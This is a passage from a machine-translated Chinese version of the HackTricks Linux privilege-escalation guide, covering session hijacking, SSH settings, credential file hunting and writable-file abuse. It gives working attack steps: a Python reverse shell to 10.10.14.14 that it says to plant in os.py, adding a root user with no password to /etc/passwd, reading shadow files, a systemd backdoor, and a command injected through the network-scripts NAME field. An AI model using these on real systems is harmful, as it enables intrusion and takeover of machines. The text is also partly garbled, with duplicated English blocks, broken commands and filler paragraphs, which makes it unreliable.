在一个目录中,“执行”位意味着受影响的用户可以进入该文件夹。 “读取”位意味着用户可以列出文件,“写入”位意味着用户可以删除和创建新文件。
ACLs
ACL(访问控制列表)是离散权限的第二级,可能会覆盖标准的ugo/rwx权限。当正确使用时,它们可以为您设置对文件或目录的访问提供更好的细粒度控制,例如通过授予或拒绝对既不是文件所有者也不是组所有者的特定用户的访问权限(来自这里)。 给用户"kali"赋予对文件的读取和写入权限:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
获取系统中具有特定ACL的文件:
getfacl -R /path/to/directory | grep "user:username:.*r"
This command will recursively search for files in the specified directory and its subdirectories, and retrieve the ACLs using the getfacl
command. The output will then be filtered using grep
to only display the files that have the specified ACL for a specific user (username
) with read (r
) permission.
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
打开shell会话
在旧版本中,您可以劫持不同用户(root)的某个shell会话。
在最新版本中,您只能连接到自己的用户的屏幕会话。但是,您可能会在会话中找到有趣的信息。
屏幕会话劫持
列出屏幕会话
screen -ls
screen -ls <username>/ # Show another user' screen sessions
连接到会话
To escalate privileges on a Linux system, it is often necessary to attach to an existing session. This allows the hacker to gain control over the session and execute commands with higher privileges. There are several methods to achieve this, including:
-
Screen: The
screen
command allows the hacker to create and manage multiple terminal sessions. By attaching to an existing screen session, the hacker can gain access to the session and execute commands as the user. -
tmux: Similar to
screen
,tmux
is a terminal multiplexer that allows the hacker to create and manage multiple terminal sessions. By attaching to an existingtmux
session, the hacker can gain control over the session and execute commands with elevated privileges. -
SSH: If the hacker has SSH access to the target system, they can use the
ssh
command to attach to an existing session. By specifying the-t
option, the hacker can allocate a pseudo-terminal and gain control over the session. -
Attach to a running process: In some cases, it may be possible to attach to a running process and gain control over the session. This can be done using tools like
strace
orgdb
to attach to the process and execute commands with higher privileges.
It is important to note that attaching to a session requires some level of access to the target system. Therefore, it is often used as a privilege escalation technique after gaining initial access to the system.
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux会话劫持
这是一个旧版tmux的问题。我无法劫持由root创建的tmux(v2.1)会话,作为非特权用户。
列出tmux会话
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
连接到会话
To escalate privileges on a Linux system, it is often necessary to attach to an existing session. This allows the hacker to gain control over the session and execute commands with higher privileges. There are several methods to achieve this, including:
-
Screen: The
screen
command allows the hacker to create and manage multiple terminal sessions. By attaching to an existing screen session, the hacker can gain access to the session and execute commands as the user. -
tmux: Similar to
screen
,tmux
is a terminal multiplexer that allows the hacker to create and manage multiple terminal sessions. By attaching to an existingtmux
session, the hacker can gain control over the session and execute commands with elevated privileges. -
SSH: If the hacker has SSH access to the target system, they can use the
ssh
command to attach to an existing session. By specifying the-t
option, the hacker can allocate a pseudo-terminal and gain control over the session. -
Attach to a running process: In some cases, it may be possible to attach to a running process and gain control over the session. This can be done using tools like
strace
orgdb
to attach to the process and execute commands with higher privileges.
It is important to note that attaching to a session requires some level of access to the target system. Therefore, it is often used as a privilege escalation technique after gaining initial access to the system.
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
请查看HTB的Valentine box作为示例。
SSH
Debian OpenSSL可预测PRNG - CVE-2008-0166
在2006年9月至2008年5月13日之间,在基于Debian的系统(如Ubuntu,Kubuntu等)上生成的所有SSL和SSH密钥可能受到此漏洞的影响。
此漏洞是在这些操作系统中创建新的ssh密钥时引起的,因为只有32768种可能性。这意味着所有可能性都可以计算出来,通过拥有ssh公钥,您可以搜索相应的私钥。您可以在此处找到计算出的可能性:https://github.com/g0tmi1k/debian-ssh
SSH有趣的配置值
- **PasswordAuthentication:**指定是否允许密码身份验证。默认值为
no
。 - **PubkeyAuthentication:**指定是否允许公钥身份验证。默认值为
yes
。 - **PermitEmptyPasswords:**当允许密码身份验证时,指定服务器是否允许登录到空密码字符串的帐户。默认值为
no
。
PermitRootLogin
指定root是否可以使用ssh登录,默认值为no
。可能的值:
yes
:root可以使用密码和私钥登录without-password
或prohibit-password
:root只能使用私钥登录forced-commands-only
:root只能使用私钥登录,并且如果指定了命令选项no
:不允许
AuthorizedKeysFile
指定包含可用于用户身份验证的公钥的文件。它可以包含像%h
这样的标记,它将被主目录替换。您可以指示绝对路径(以/
开头)或相对于用户主目录的相对路径。例如:
AuthorizedKeysFile .ssh/authorized_keys access
该配置将指示,如果您尝试使用用户“testusername”的私钥进行登录,ssh将会将您的密钥的公钥与位于/home/testusername/.ssh/authorized_keys
和/home/testusername/access
中的公钥进行比较。
ForwardAgent/AllowAgentForwarding
SSH代理转发允许您使用本地SSH密钥,而不是将(没有密码短语!)的密钥留在服务器上。因此,您将能够通过ssh跳转到一个主机,然后从那里使用初始主机中的密钥跳转到另一个主机。
您需要在$HOME/.ssh.config
中设置此选项,如下所示:
Host example.com
ForwardAgent yes
请注意,如果Host
是*
,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一个安全问题)。
文件/etc/ssh_config
可以覆盖这个选项,允许或拒绝此配置。
文件/etc/sshd_config
可以使用关键字AllowAgentForwarding
(默认为允许)来允许或拒绝ssh-agent转发。
如果您发现在某个环境中配置了Forward Agent,请阅读以下页面,因为您可能能够利用它来提升权限:
{% content-ref url="ssh-forward-agent-exploitation.md" %} ssh-forward-agent-exploitation.md {% endcontent-ref %}
有趣的文件
配置文件
文件/etc/profile
和/etc/profile.d/
目录下的文件是当用户运行新的shell时执行的脚本。因此,如果您可以编写或修改其中任何一个文件,您就可以提升权限。
ls -l /etc/profile /etc/profile.d/
如果发现任何奇怪的配置文件,应该检查其中是否包含敏感信息。
Passwd/Shadow 文件
根据操作系统的不同,/etc/passwd
和 /etc/shadow
文件的名称可能不同,或者可能有备份文件。因此,建议找到所有这些文件并检查是否可以读取它们,以查看文件中是否包含哈希值:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
在某些情况下,你可以在/etc/passwd
(或等效)文件中找到密码哈希值。
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
可写的 /etc/passwd
首先,使用以下命令之一生成一个密码。
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
然后添加用户hacker
并添加生成的密码。
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
例如:hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
您现在可以使用su
命令和hacker:hacker
登录。
或者,您可以使用以下行添加一个没有密码的虚拟用户。
警告:这可能会降低机器的当前安全性。
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
注意:在BSD平台上,/etc/passwd
位于/etc/pwd.db
和/etc/master.passwd
,而/etc/shadow
被重命名为/etc/spwd.db
。
您应该检查是否可以写入某些敏感文件。例如,您能否写入某些服务配置文件?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
例如,如果机器正在运行一个 tomcat 服务器,并且你可以 修改位于 /etc/systemd/ 目录下的 Tomcat 服务配置文件,那么你可以修改以下行:
ExecStart=/path/to/backdoor
User=root
Group=root
你的后门将在下次启动tomcat时执行。
检查文件夹
以下文件夹可能包含备份或有趣的信息:/tmp,/var/tmp,/var/backups,/var/mail,/var/spool/mail,/etc/exports,/root(最后一个可能无法读取,但请尝试)。
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
异常位置/被占有的文件
During a privilege escalation attack, it is important to identify any files or directories that are located in unusual or unexpected locations, as well as files that are owned by privileged users. These files can potentially be used to gain elevated privileges on a system.
在特权升级攻击中,识别位于异常或意外位置的文件或目录以及由特权用户拥有的文件非常重要。这些文件有可能被用于在系统上获得提升的特权。
Here are some techniques to identify such files:
以下是一些识别此类文件的技术:
-
Find files outside of common directories: Look for files that are located outside of common system directories such as
/bin
,/usr/bin
,/sbin
,/usr/sbin
, and/etc
. These files may be hidden or overlooked by system administrators.查找常见目录之外的文件:寻找位于常见系统目录之外的文件,例如
/bin
、/usr/bin
、/sbin
、/usr/sbin
和/etc
。这些文件可能被系统管理员隐藏或忽略。 -
Check for files with unusual permissions: Identify files that have unusual permissions, such as world-writable files (
chmod 777
) or files owned by privileged users (root
,admin
, etc.). These files may be vulnerable to manipulation or exploitation.检查具有异常权限的文件:识别具有异常权限的文件,例如全局可写文件(
chmod 777
)或由特权用户(root
、admin
等)拥有的文件。这些文件可能容易受到操纵或利用。 -
Look for files with SUID/SGID permissions: Search for files that have the Set User ID (SUID) or Set Group ID (SGID) permissions set. These permissions allow a user to execute a file with the privileges of the file owner or group, which can be exploited for privilege escalation.
查找具有SUID/SGID权限的文件:搜索具有设置用户ID(SUID)或设置组ID(SGID)权限的文件。这些权限允许用户以文件所有者或组的权限执行文件,可以被利用进行特权升级。
-
Identify files with unusual file extensions: Look for files with uncommon or unexpected file extensions, as they may indicate the presence of hidden or disguised files.
识别具有异常文件扩展名的文件:寻找具有不常见或意外文件扩展名的文件,因为它们可能表示存在隐藏或伪装的文件。
By identifying and investigating files in these categories, you can potentially discover vulnerabilities or misconfigurations that can be leveraged for privilege escalation during a penetration test.
通过识别和调查这些类别的文件,您有可能发现可以在渗透测试期间利用的漏洞或配置错误。
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
最近几分钟内修改的文件
To identify the files that have been modified in the last few minutes, you can use the following command:
要识别最近几分钟内被修改的文件,您可以使用以下命令:
find / -type f -mmin -5
This command will search for all files (-type f
) in the entire file system (/
) that have been modified within the last 5 minutes (-mmin -5
).
该命令将在整个文件系统 (/
) 中搜索所有在最近 5 分钟内被修改的文件 (-type f -mmin -5
)。
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite数据库文件
Sqlite是一种轻量级的嵌入式数据库引擎,常用于移动应用和小型项目中。它的数据库文件通常具有.db
或.sqlite
的扩展名。这些文件包含了应用程序的数据,包括用户信息、配置设置和其他重要数据。
在特定的情况下,访问和分析Sqlite数据库文件可能会成为特权升级的一种方法。这是因为某些应用程序可能会在数据库文件中存储敏感信息,如密码、密钥或其他凭据。通过获取对这些文件的访问权限,黑客可以进一步探索系统并获取更高的权限。
在进行Sqlite数据库文件的特权升级时,黑客可以使用各种技术和工具。这包括查找可读取或可写入数据库文件的目录、利用文件权限配置错误、利用应用程序漏洞以及使用特权升级脚本等。
为了保护系统免受Sqlite数据库文件的特权升级攻击,建议采取以下措施:
- 限制对数据库文件的访问权限,确保只有授权用户可以读取或写入这些文件。
- 定期更新和修补应用程序,以防止潜在的漏洞被利用。
- 使用强密码和加密技术来保护数据库文件中的敏感信息。
- 监控系统日志,及时发现和应对任何异常活动。
通过采取这些措施,可以增强系统对Sqlite数据库文件特权升级攻击的防护能力。
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 文件
这些文件包括 *_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml。
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
隐藏文件
Hidden files are files that are not visible by default in a file manager or command line interface. These files are often used to store sensitive information or configuration settings. In Linux, hidden files are denoted by a dot (.) at the beginning of the file name.
隐藏文件是在文件管理器或命令行界面中默认情况下不可见的文件。这些文件通常用于存储敏感信息或配置设置。在Linux中,隐藏文件的文件名前面有一个点(.)。
To view hidden files in a file manager, you can usually enable an option to show hidden files. In the command line interface, you can use the ls -a
command to display all files, including hidden ones.
要在文件管理器中查看隐藏文件,通常可以启用一个选项来显示隐藏文件。在命令行界面中,可以使用ls -a
命令显示所有文件,包括隐藏文件。
Hidden files can be used by attackers to hide malicious scripts or backdoors on a compromised system. Therefore, it is important to regularly check for and remove any suspicious hidden files.
攻击者可以利用隐藏文件在受攻击的系统上隐藏恶意脚本或后门。因此,定期检查并删除任何可疑的隐藏文件非常重要。
find / -type f -iname ".*" -ls 2>/dev/null
路径中的脚本/可执行文件
One common privilege escalation technique is to exploit the presence of scripts or binaries in the system's PATH. The PATH is an environment variable that contains a list of directories where the operating system looks for executable files.
攻击者常用的一种提权技术是利用系统路径中存在的脚本或可执行文件。路径(PATH)是一个环境变量,其中包含操作系统用于查找可执行文件的目录列表。
If a script or binary with higher privileges is placed in a directory that appears earlier in the PATH than the legitimate one, the system will execute the malicious version instead. This can allow an attacker to execute arbitrary commands with elevated privileges.
如果将具有较高权限的脚本或可执行文件放置在路径中出现在合法版本之前的目录中,系统将执行恶意版本。这可以使攻击者以提升的权限执行任意命令。
To identify potential vulnerabilities related to scripts or binaries in the PATH, you can perform the following steps:
要识别与路径中的脚本或可执行文件相关的潜在漏洞,可以执行以下步骤:
-
List the directories in the PATH by running the command
echo $PATH
.运行命令
echo $PATH
列出路径中的目录。 -
For each directory, check the permissions of the files within it. Look for files that have the setuid or setgid permissions, as these can indicate potential vulnerabilities.
对于每个目录,检查其中文件的权限。查找具有 setuid 或 setgid 权限的文件,因为这可能表示潜在的漏洞。
-
Review the contents of each directory and identify any scripts or binaries that have higher privileges than expected. Pay attention to files owned by privileged users or groups.
查看每个目录的内容,识别任何具有比预期更高权限的脚本或可执行文件。注意特权用户或组所拥有的文件。
-
If you find any suspicious files, investigate their purpose and determine if they can be leveraged for privilege escalation.
如果发现任何可疑文件,请调查其用途,并确定它们是否可以用于提权。
By carefully examining the scripts and binaries in the PATH, you can identify potential vulnerabilities and take appropriate actions to mitigate the risk of privilege escalation attacks.
通过仔细检查路径中的脚本和可执行文件,您可以识别潜在的漏洞,并采取适当的措施来减轻提权攻击的风险。
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done
网页文件
Web files are files that are used by web applications to display content on the internet. These files can include HTML, CSS, JavaScript, images, and other media files. Web files are typically stored on a web server and accessed by users through a web browser.
Web文件是由Web应用程序用于在互联网上显示内容的文件。这些文件可以包括HTML、CSS、JavaScript、图像和其他媒体文件。Web文件通常存储在Web服务器上,并通过Web浏览器由用户访问。
Web files can be vulnerable to attacks if they are not properly secured. Attackers can exploit vulnerabilities in web files to gain unauthorized access to a web server or to execute malicious code on the server. Therefore, it is important to implement proper security measures to protect web files from unauthorized access and exploitation.
如果Web文件没有得到适当的安全保护,它们可能会受到攻击。攻击者可以利用Web文件中的漏洞来未经授权地访问Web服务器或在服务器上执行恶意代码。因此,实施适当的安全措施以保护Web文件免受未经授权的访问和利用是非常重要的。
Some common security measures for web files include:
一些常见的Web文件安全措施包括:
-
File permissions: Set appropriate file permissions to restrict access to web files. Only allow the necessary permissions for the web server to read and execute the files.
-
文件权限:设置适当的文件权限以限制对Web文件的访问。只允许Web服务器读取和执行文件所需的权限。
-
Input validation: Validate user input to prevent malicious code injection attacks such as SQL injection or cross-site scripting (XSS).
-
输入验证:验证用户输入,以防止恶意代码注入攻击,如SQL注入或跨站脚本(XSS)。
-
Secure coding practices: Follow secure coding practices to minimize the risk of vulnerabilities in web files. This includes using secure coding frameworks, libraries, and avoiding common coding mistakes.
-
安全编码实践:遵循安全编码实践,以最小化Web文件中的漏洞风险。这包括使用安全编码框架、库,并避免常见的编码错误。
-
Regular updates: Keep web files up to date by applying security patches and updates provided by the software vendors. This helps to address any known vulnerabilities and protect against potential attacks.
-
定期更新:通过应用软件供应商提供的安全补丁和更新,使Web文件保持最新状态。这有助于解决任何已知的漏洞,并保护免受潜在攻击。
By implementing these security measures, you can significantly reduce the risk of unauthorized access and exploitation of web files. It is important to regularly review and update these security measures to stay ahead of emerging threats and vulnerabilities.
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
备份
Backups are an essential part of any system's security strategy. They help protect against data loss and can be a lifesaver in the event of a system compromise or hardware failure. It is important to have a robust backup plan in place to ensure that critical data is regularly backed up and can be easily restored if needed.
备份是任何系统安全策略的重要组成部分。它们有助于防止数据丢失,并且在系统受到威胁或硬件故障时可以拯救生命。建立一个强大的备份计划非常重要,以确保关键数据定期备份,并在需要时可以轻松恢复。
Backup Best Practices
备份最佳实践
-
Regular backups: Schedule regular backups to ensure that all critical data is backed up frequently. This can be done using automated backup tools or scripts.
-
定期备份:安排定期备份,以确保所有关键数据经常备份。可以使用自动备份工具或脚本来完成此操作。
-
Offsite backups: Store backups in an offsite location to protect against physical damage or theft. This can be a cloud storage service or a separate physical location.
-
离线备份:将备份存储在离线位置,以防止物理损坏或盗窃。这可以是云存储服务或单独的物理位置。
-
Encryption: Encrypt backups to protect sensitive data from unauthorized access. This ensures that even if the backups are compromised, the data remains secure.
-
加密:对备份进行加密,以保护敏感数据免受未经授权的访问。这样即使备份被攻击,数据也能保持安全。
-
Testing backups: Regularly test backups to ensure that they can be successfully restored. This helps identify any issues with the backup process and ensures that the data can be recovered when needed.
-
测试备份:定期测试备份,以确保可以成功恢复。这有助于识别备份过程中的任何问题,并确保在需要时可以恢复数据。
-
Retention policy: Define a retention policy that specifies how long backups should be kept. This helps manage storage space and ensures that backups are not kept longer than necessary.
-
保留策略:定义一个保留策略,指定备份应保留多长时间。这有助于管理存储空间,并确保备份不会超过必要的时间。
-
Monitoring: Implement monitoring to ensure that backups are running successfully and to detect any failures or issues. This allows for timely resolution and prevents data loss.
-
监控:实施监控以确保备份成功运行,并检测任何故障或问题。这可以及时解决问题,防止数据丢失。
By following these backup best practices, you can ensure that your critical data is protected and can be easily restored in the event of a system compromise or data loss.
通过遵循这些备份最佳实践,您可以确保关键数据在系统受到威胁或数据丢失时得到保护,并可以轻松恢复。
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
已知包含密码的文件
阅读 linPEAS 的代码,它会搜索可能包含密码的多个文件。
另一个有趣的工具是 LaZagne,它是一个开源应用程序,用于检索存储在Windows、Linux和Mac本地计算机上的许多密码。
日志
如果你能读取日志,可能会在其中找到有趣/机密的信息。日志越奇怪,可能越有趣。
此外,一些“不好的”配置(后门?)的审计日志可能允许你在审计日志中记录密码,如此文章所述:https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/。
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
为了读取日志,adm组(有趣的Linux特权升级/#adm组)将非常有帮助。
Shell文件
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
通用凭证搜索/正则表达式
你还应该检查文件名或内容中包含单词“password”的文件,还应该检查日志中的IP和电子邮件,或者哈希正则表达式。
我不会在这里列出如何执行所有这些操作,但如果你感兴趣,可以查看linpeas执行的最后一些检查。
可写文件
Python库劫持
如果你知道一个Python脚本将在哪里执行,并且你可以在该文件夹中写入或者你可以修改Python库,你可以修改操作系统库并在其中植入后门(如果你可以在Python脚本将要执行的地方写入,请复制并粘贴os.py库)。
要植入后门,只需在os.py库的末尾添加以下行(更改IP和端口):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate漏洞利用
logrotate
存在一个漏洞,允许具有对日志文件或其任何父目录的写权限的用户在任何位置上写入文件。如果root执行了logrotate,那么用户将能够在_/etc/bash_completion.d/_中写入任何文件,并由任何登录的用户执行。
因此,如果您对日志文件或其父文件夹具有写权限,则可以进行特权升级(在大多数Linux发行版中,logrotate每天自动以root用户身份执行)。此外,请检查是否除了_/var/log_之外还有其他文件被轮换。
{% hint style="info" %}
此漏洞影响logrotate
版本3.18.0
及更早版本
{% endhint %}
有关漏洞的更详细信息,请参阅此页面:https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition。
您可以使用logrotten利用此漏洞。
此漏洞与CVE-2016-1247 **(nginx日志)**非常相似,因此每当您发现可以更改日志时,请检查谁在管理这些日志,并检查是否可以通过符号链接升级权限。
/etc/sysconfig/network-scripts/(Centos/Redhat)
如果由于某种原因,用户能够将ifcf-<whatever>
脚本写入_/etc/sysconfig/network-scripts_,或者可以调整现有脚本,则您的系统已被入侵。
网络脚本(例如ifcg-eth0)用于网络连接。它们看起来与.INI文件完全相同。但是,在Linux上,它们是由Network Manager(dispatcher.d)~源代码~。
在我的情况下,这些网络脚本中的NAME=
属性没有正确处理。如果名称中有空格,系统将尝试执行空格后的部分。这意味着第一个空格后的所有内容都将以root身份执行。
例如:/etc/sysconfig/network-scripts/ifcfg-1337
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
漏洞参考: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
init、init.d、systemd和rc.d
/etc/init.d
包含了 System V init 工具(SysVinit)使用的脚本。这是 Linux 的传统服务管理包,包含了 init
程序(在内核完成初始化后运行的第一个进程¹)以及一些用于启动、停止服务和配置服务的基础设施。具体来说,/etc/init.d
中的文件是 shell 脚本,用于响应 start
、stop
、restart
和(如果支持)reload
命令来管理特定的服务。这些脚本可以直接调用,也可以通过其他触发器(通常是在 /etc/rc?.d/
中存在符号链接)来调用(来自这里)。在 Redhat 中,这个文件夹的另一个替代品是 /etc/rc.d/init.d
。
/etc/init
包含了 Upstart 使用的配置文件。Upstart 是由 Ubuntu 支持的一种年轻的服务管理包。/etc/init
中的文件是配置文件,告诉 Upstart 如何以及何时 start
、stop
、reload
配置或查询服务的 status
。从 lucid 开始,Ubuntu 正在从 SysVinit 迁移到 Upstart,这就解释了为什么许多服务附带 SysVinit 脚本,尽管 Upstart 配置文件更受欢迎。SysVinit 脚本由 Upstart 中的兼容性层处理(来自这里)。
systemd 是一个 Linux 初始化系统和服务管理器,包括按需启动守护进程、挂载和自动挂载点维护、快照支持以及使用 Linux 控制组跟踪进程。systemd 提供了一个日志守护进程和其他工具和实用程序,以帮助完成常见的系统管理任务(来自这里)。
从发行版仓库下载的软件包中的文件放在 /usr/lib/systemd/
中。系统管理员(用户)进行的修改放在 /etc/systemd/system/
中。
其他技巧
NFS 权限提升
{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} nfs-no_root_squash-misconfiguration-pe.md {% endcontent-ref %}
逃离受限 Shell
{% content-ref url="escaping-from-limited-bash.md" %} escaping-from-limited-bash.md {% endcontent-ref %}
Cisco - vmanage
{% content-ref url="cisco-vmanage.md" %} cisco-vmanage.md {% endcontent-ref %}
内核安全保护
- https://github.com/a13xp0p0v/kconfig-hardened-check
- https://github.com/a13xp0p0v/linux-kernel-defence-map
更多帮助
Linux/Unix 提权工具
寻找 Linux 本地权限提升向量的最佳工具:LinPEAS
LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: 枚举 Linux 和 MAC 中的内核漏洞 https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (物理访问): https://github.com/GDSSecurity/EvilAbigail
更多脚本的汇编: https://github.com/1N3/PrivEsc
参考资料
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://payatu.com/guide-linux-privilege-escalation/
https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
https://touhidshaikh.com/blog/?p=827
https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
https://github.com/frizb/Linux-Privilege-Escalation
https://github.com/lucyoa/kernel-exploits
https://github.com/rtcrowley/linux-private-i
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家**网络安全公司**工作吗?想要在HackTricks中宣传你的**公司**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)。 * 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)。 * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我的**Twitter** [**🐦**](7af18b62b3
/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享你的黑客技巧**。